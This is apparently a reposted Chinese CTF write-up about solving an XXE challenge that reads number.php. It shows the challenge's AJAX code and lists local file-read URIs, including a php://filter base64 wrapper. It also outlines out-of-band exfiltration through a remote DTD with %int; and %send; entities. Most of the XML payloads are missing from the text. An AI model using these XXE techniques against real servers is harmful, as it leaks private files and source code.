记一次被队友坑的解题过程- - XXE

admin 2021年9月1日14:58:01评论70 views字数 1082阅读3分36秒阅读模式

phithon大大某日出了一题,说能写出来的就请他吃饭!
这种好事,嘿嘿,怎么可能错过呢?

于是,我就拉着:“队友”@Ring来一起解题。

题目的源码是这样的:




    heiheihei
    










$(document).ready(function(){
    $("#getw").click(function(){
        var number = parseInt($("#num").val());
        $.ajax({
            "url": "number.php",
        "type": "post",
            "contentType": "application/xml",
            "data": ""+number+"",
            "dataType": "text",
            "success": function(data) {
                $("#result").text(data);
            }
        })
    });
});



大意就是让我们用XXE漏洞来读取number.php的内容。
至于啥是XXE漏洞呢?详见XML External Entity attack/XXE攻击

总之,这就是一个很牛掰的漏洞吧?大概?

一开始,我是不会做XXE的,连听都没听说过。当然,至于怎么执行XXE代码我也是不懂的- -。。
经过多次的尝试和查阅资料之后,构造了下面这样的语句:

记一次被队友坑的解题过程- - XXE

这里的test是我新建的一个实体,然后在下面的提交语句中提交,就可以回显出我们定义的值。

但是,这题只能回显数字,而不能回显字符。那么怎么能够得到number.php源码呢?

首先,我们可以知道,用以下的语句可以将本地文件读取:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

因为php文件包含

远程的1.dtd脚本如下:



%int;
%send;

至于其中的1.php,可有可无。如果要将其导出为文本,或者处理,就写个php文件接收吧。不然可以直接查询日志的。

参考资料:
XML External Entity attack/XXE攻击
XXE注入:攻击与防御 – XXE Injection: Attack and Prevent

FROM :rickyhao.com | rickyhao.com

相关推荐: WordPress 5.0.0 Remote Code Execution分析思考

WordPress 5.0.0 Remote Code Execution分析思考 本文首发于安全客:https://www.anquanke.com/post/id/173173 前言 2月20号,RIPS团队在官网公开了一篇WordPress 5.0.0 …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月1日14:58:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次被队友坑的解题过程- - XXEhttps://cn-sec.com/archives/499720.html

发表评论

匿名网友 填写信息